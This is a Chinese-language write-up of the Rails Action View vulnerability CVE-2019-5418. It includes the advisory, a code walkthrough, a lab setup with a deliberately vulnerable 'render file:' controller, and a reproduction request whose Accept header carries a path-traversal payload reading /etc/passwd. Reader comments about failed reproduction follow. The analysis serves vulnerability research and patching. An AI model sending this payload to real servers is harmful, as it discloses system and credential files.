

漏洞公告

<https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q>

Versions Affected: All.
Not affected: None.
Fixed Versions: 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1

Impact

There is a possible file content disclosure vulnerability in Action View. Specially crafted accept headers in combination with calls to `render file:` can cause arbitrary files on the target server to be rendered, disclosing the file contents.

The impact is limited to calls to `render` which render file contents without a specified accept format. Impacted code in a controller looks something like this:

```
class UserController < ApplicationController
  def index
    render file: "#{Rails.root}/some/file"
  end
end
```

漏洞分析

在控制器中通过`render file`形式来渲染应用之外的视图，因此在`actionview-5.2.1/lib/action_view/renderer/template_renderer.rb:22`中会根据`options.key?(:file)`，调用`find_file`来寻找视图。

```
module ActionView
  class TemplateRenderer < AbstractRenderer #:nodoc:
    # Determine the template to be rendered using the given options.
    def determine_template(options)
      keys = options.has_key?(:locals) ? options[:locals].keys : []
      if options.key?(:body)
        ...
      elsif options.key?(:file)
        with_fallbacks { find_file(options[:file], nil, false, keys, @details) }
        ...
      end
    end
  end
end
```

find_file代码如下：

```
def find_file(name, prefixes = [], partial = false, keys = [], options = {})
  @view_paths.find_file(*args_for_lookup(name, prefixes, partial, keys, options))
end
```

继续跟入args_for_lookup函数，用于生成用于查找文件的参数，当其最终返回时会把payload保存在details[formats]中：

```
def args_for_lookup(name, prefixes, partial, keys, details_options) partial: false keys: [] details_options: {}
  name, prefixes = normalize_name(name, prefixes) name: "file" prefixes: ["home/chybeta/CVE-2019-5418/some"]
  details, details_key = detail_args_for(details_options) details: {formats: ["../../../../../../../../etc/passwd{f}", h
  [name, prefixes, partial || false, details, details_key, keys]
end

# Compute details hash and key according to details
def detail_args_for(options) # :doc:
  return @details, details_key if options[:details]
  user_details = @details.merge(options[:user_details])

  if @cache
    details_key = DetailsKey.get(user_details)
  else
    details_key = DetailsKey.new(user_details)
  end

  details = Hash.new
  details[:locale] = options[:locale] || []
  details[:formats] = options[:formats] || []
  details[:key] = {Symbol}
  details[:value] = Array
  details[:variants] = []
  details[:handlers] = []

  details
end
```

此后回到@view_paths.find_file并跟入会进入 actionview-5.2.1/lib/action_view/path_set.rb：

```
class PathSet # :nodoc:
  def find_file(path, prefixes = [], *args)
    _find_all(path, prefixes, args, true).first || raise(MissingTemplate.new(self, path, prefixes, *args))
  end

  private

  # Find all templates for the given path and prefixes.
  # Returns an array of templates.
  # Arguments:
  #   path: The path to search for templates.
  #   prefixes: An array of prefixes to search for templates.
  #   args: An array of arguments to pass to the find_all method.
  #   outside_app: A boolean indicating whether the templates are outside the application.
  def _find_all(path, prefixes, args, outside_app)
    prefixes = [prefixes] if String === prefixes
    prefixes.each do |prefix|
      paths.each do |resolver|
        if outside_app
          templates = resolver.find_all_anywhere(path, prefix, *args)
        else
          templates = resolver.find_all(path, prefix, *args)
        end
        return templates unless templates.empty?
      end
    end
    []
  end
end
```

由于要渲染的视图在应用之外，因此跟入find_all_anywhere

```
def find_all_anywhere(name, prefix, partial = false, details = {}, key = nil, locals = [])
  cached(key, [name, prefix, partial], details, locals) do
    find_templates(name, prefix, partial, details, true)
  end
end
```

跳过cached部分，跟入find_templates，这里正式根据条件来查找要渲染的模板：

```
# An abstract class that implements a Resolver with path semantics.
class PathResolver < Resolver # :nodoc:
  EXTENSIONS = { locale: ".", formats: ".", variants: "+", handlers: "." }
  DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}"

  ...

  private

  def find_templates(name, prefix, partial, details, outside_app_allowed = false)
    path = Path.build(name, prefix, partial)
    # Find templates for the given path and details.
    query(path, details, details[:formats], outside_app_allowed)
  end

  def query(path, details, formats, outside_app_allowed)
    query = build_query(path, details)
    template_paths = find_template_paths(query)
    ...
  end
end
```

build_query后如下：

```
# Helper for building query glob string based on resolver's pattern.
def build_query(path, details)
  path: home/chybeta/CVE-2019-5418/some/file details: {formats: [".../.../.../.../.../.../etc/passwd{", hand
  query = @pattern.dup query: "home/chybeta/CVE-2019-5418/some/file{.en},{. {.../.../.../.../.../.../etc/passwd{},{+},{.}{raw,erb,html,bu

  prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\\1" prefix: "home/chybeta/CVE-2019-5418/some\\1"
  query.gsub!(/:prefix(\.\/)?/, prefix)

  partial = escape_entry(path.partial? ? "_#{path.name}" : path.name) partial: "file"
  query.gsub!(/:action/, partial)

  details.each do |ext, candidates|
    if ext == :variants && candidates == :any
      query.gsub!(/:#{ext}/, "")
    else
      query.gsub!(/:#{ext}/, "#{candidates.compact.uniq.join(',')}")
    end
  end
end

File.expand_path(query, @path)
end
```

利用../与前缀组合造成路径穿越，利用最后的{完成闭合，经过File.expand_path解析后组成的query如下:

```
/etc/passwd{},{},{+},{.}{.raw,erb,html,builder,ruby,coffee,jbuilder},}
```

最后/etc/passwd被当成模板文件进行渲染，最后造成了任意文件读取。

漏洞复现

基本环境搭建

```
# echo "gem 'rails', '5.2.1'" >> Gemfile
# echo "gem 'sqlite3', '~> 1.3.6', '< 1.4'" >> Gemfile
# echo "source 'https://rubygems.org'" >> Gemfile
# bundle exec rails new . --force --skip-bundle
```

生成控制器：

```
# rails generate controller chybeta
```

在app/controllers/chybeta_controller.rb中添加：

```
class ChybetaController < ApplicationController
  def index
    render file: "#{Rails.root}/some/file"
  end
end
```

在config/routes.rb中添加resources：

```
Rails.application.routes.draw do
  resources :chybeta
end
```

可以用命令rails routes检查是否存在路由。

修改Accept头为../../../../../../../../../../../../etc/passwd{:

1234...

GoCancel<>

Target: http://127.0.0.1:3000

Request

RawHeadersHex

GET /chybeta HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: ../../../../../../../../etc/passwd{{
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-None-Match: W/"1e7d20679c9a68c865fbcc45742dc86d"

0 matches

Response

Raw

0 matches

补丁

<https://github.com/rails/rails/commit/f4c70c2222180b8d9d924f00af0c7fd632e26715>

禁止接受未注册的mime type

Only accept formats from registered mime types

Browse files

[CVE-2019-5418]
[CVE-2019-5419]

master (#81) v6.0.0.beta3

jhawthorn

 authored and

tenderlove

 committed 11 days ago

Verified

 1 parent 5e6e505 commit f4c70c2222180b8d9d924f00af0c7fd632e26715

Showing 3 changed files with 23 additions and 6 deletions.

UnifiedSplit

5 actionpack/lib/action_dispatch/http/mime_negotiation.rb

View file

@@ -79,6 +79,11 @@ def formats
79 79 else
80 80 [Mime[:html]]
81 81 end
82 +
83 + v = v.select do format
84 + format.symbol format.ref == "*/"
85 + end
86 +
82 87 set_header k, v
83 88 end
84 89 end

点击收藏 | 0 关注 | 1

[上一篇：UTCTF逆向题详解](#) [下一篇：AeroCTF2019 PWN全解](#)

1. 2 条回复



[yanlp****](#) 2019-03-18 17:28:06

ruby 版本2.4.0 rails版本 5.2.1

```

1 source 'https://rubygems.org'
2 git_source(:github) { |repo| "https://github.com/#{repo}.git" }
3
4 ruby '2.4.0'
5
6 # Bundle edge Rails instead: gem 'rails', github: 'rails/rails'
7 gem 'rails', '5.2.1'
8 # Use sqlite3 as the database for Active Record
9 gem 'mysql2'

```

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL

```

→ butian git:(master) x bundle install
Fetching gem metadata from https://rubygems.org/.....
Fetching gem metadata from https://rubygems.org/.
Resolving dependencies...
Using rake 12.3.2
Using concurrent-ruby 1.1.5
Using i18n 1.6.0
Using minitest 5.11.3
Using thread_safe 0.3.6
Using tzinfo 1.2.5
Using activesupport 5.2.1
Using builder 3.2.3
Using erubi 1.8.0
Using mini_portile2 2.4.0
Using nokogiri 1.10.1
Using rails-dom-testing 2.0.3
Using crass 1.0.4
Using loofah 2.2.3
Using rails-html-sanitizer 1.0.4
Using actionview 5.2.1
Using rack 2.0.6
Using rack-test 1.1.0
Using actionpack 5.2.1
Using nio4r 2.3.1
Using websocket-extensions 0.1.3
Using websocket-driver 0.7.0
Using actioncable 5.2.1
Using globalid 0.4.2
Using activejob 5.2.1
Using mini_mime 1.0.1
Using mail 2.7.1
Using actionmailer 5.2.1
Using activemodel 5.2.1
Using arel 9.0.0
Using activerecord 5.2.1
Using mimemagic 0.3.3
Using marcel 0.3.3
Using activestorage 5.2.1
Using bundler 1.16.6
Using method_source 0.9.2
Using mysql2 0.5.2
Using thor 0.20.3
Using railties 5.2.1
Using sprockets 3.7.2
Using sprockets-rails 3.2.1
Using rails 5.2.1
Bundle complete! 2 Gemfile dependencies, 42 gems now installed.
Use `bundle info [gemname]` to see where a bundled gem is installed.
→ butian git:(master) x rails -v
Rails 5.2.1
→ butian git:(master) x RAILS_ENV=production rails s -p 4444
⇒ Booting WEBrick
⇒ Rails 5.2.1 application starting in production on http://0.0.0.0:4444
⇒ Run `rails server -h` for more startup options
[2019-03-18 17:18:19] INFO WEBrick 1.3.1
[2019-03-18 17:18:19] INFO ruby 2.4.0 (2016-12-24) [x86_64-darwin17]
[2019-03-18 17:18:19] INFO WEBrick::HTTPServer#start: pid=54956 port=4444
127.0.0.1 - - [18/Mar/2019:17:18:20 CST] "GET /chybeta HTTP/1.1" 500 1635
- -> /chybeta
127.0.0.1 - - [18/Mar/2019:17:18:25 CST] "GET /chybeta HTTP/1.1" 500 1635
- -> /chybeta
127.0.0.1 - - [18/Mar/2019:17:18:37 CST] "GET /chybeta HTTP/1.1" 304 0
- -> /chybeta
127.0.0.1 - - [18/Mar/2019:17:18:39 CST] "GET /chybeta HTTP/1.1" 304 0
- -> /chybeta
127.0.0.1 - - [18/Mar/2019:17:18:40 CST] "GET /chybeta HTTP/1.1" 304 0
- -> /chybeta
127.0.0.1 - - [18/Mar/2019:17:18:50 CST] "GET /chybeta HTTP/1.1" 500 1635
- -> /chybeta
127.0.0.1 - - [18/Mar/2019:17:19:12 CST] "GET /chybeta HTTP/1.1" 200 9
- -> /chybeta
127.0.0.1 - - [18/Mar/2019:17:19:32 CST] "GET /chybeta HTTP/1.1" 200 9
- -> /chybeta
127.0.0.1 - - [18/Mar/2019:17:19:56 CST] "GET /chybeta HTTP/1.1" 500 1635
- -> /chybeta
127.0.0.1 - - [18/Mar/2019:17:20:56 CST] "GET /chybeta HTTP/1.1" 500 1635
- -> /chybeta
127.0.0.1 - - [18/Mar/2019:17:21:07 CST] "GET /chybeta HTTP/1.1" 500 1635
- -> /chybeta

```

修改之前没有问题 postman 修改之后500错误

http://localhost:4444/chybeta

GET

http://localhost:4444/chybeta

Params

Authorization

Headers (8)

Body

Pre-request Script

Tests

	KEY	VALUE	DESCRIPTION
<input checked="" type="checkbox"/>	Connection	false	
<input checked="" type="checkbox"/>	Pragma	no-cache	
<input checked="" type="checkbox"/>	Cache-Control	no-cache	
<input checked="" type="checkbox"/>	Upgrade-Insecure-Requests	1	
<input checked="" type="checkbox"/>	User-Agent	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit...	
<input checked="" type="checkbox"/>	Accept	.././././././etc/passwd{	
<input checked="" type="checkbox"/>	Accept-Encoding	gzip, deflate, br	
<input checked="" type="checkbox"/>	Accept-Language	zh-CN,zh;q=0.9,en;q=0.8	
	Key	Value	Description

Body

Cookies

Headers (7)

Test Results

Status: 500 Internal Server Error

Pretty

Raw

Preview

HTML

```
1 <!DOCTYPE html>
2 <html>
3   <head>
4     <title>We're sorry, but something went wrong (500)</title>
5     <meta name="viewport" content="width=device-width,initial-scale=1">
6     <style>
7       .rails-default-error-page {
8         background-color: #EFEFEF;
9         color: #2E2F30;
10        text-align: center;
11        font-family: arial, sans-serif;
12        margin: 0;
13      }
14
15      .rails-default-error-page div.dialog {
16        width: 95%;
17        max-width: 33em;
18        margin: 4em auto 0;
19      }
20
21      .rails-default-error-page div.dialog > div {
22        border: 1px solid #CCC;
23        border-right-color: #999;
24        border-left-color: #999;
25        border-bottom-color: #BBB;
26        border-top: #B00100 solid 4px;
27        border-top-left-radius: 9px;
28        border-top-right-radius: 9px;
29        background-color: white;
30        padding: 7px 12% 0;
31        box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
32      }
33
34      .rails-default-error-page h1 {
35        font-size: 100%;
36        color: #730E15;
37        line-height: 1.5em;
38      }
39
40      .rails-default-error-page div.dialog > p {
41        margin: 0 0 1em;
42        padding: 1em;
43        background-color: #F7F7F7;
44        border: 1px solid #CCC;
45        border-right-color: #999;
46        border-left-color: #999;
47        border-bottom-color: #999;
48        border-bottom-left-radius: 4px;
49        border-bottom-right-radius: 4px;
50        border-top-color: #DADADA;
51        color: #666;
52        box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
53      }
54    </style>
55  </head>
56  <body class="rails-default-error-page">
57    <!-- This file lives in public/500.html -->
58    <div class="dialog">
59      <div>
60        <h1>We're sorry, but something went wrong.</h1>
61      </div>
62      <p>If you are the application owner check the logs for more information.</p>
63    </div>
64  </body>
65 </html>
```

我想请教一下 具体怎么重现的

0 回复Ta



[chybeta](#) 2019-03-18 23:39:50

[@yanlp****](#) 具体过程就是那样。建议跟入代码再调一下。

0 回复Ta

[登录](#) 后跟帖

[先知社区](#)

[现在登录](#)

[热门节点](#)

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)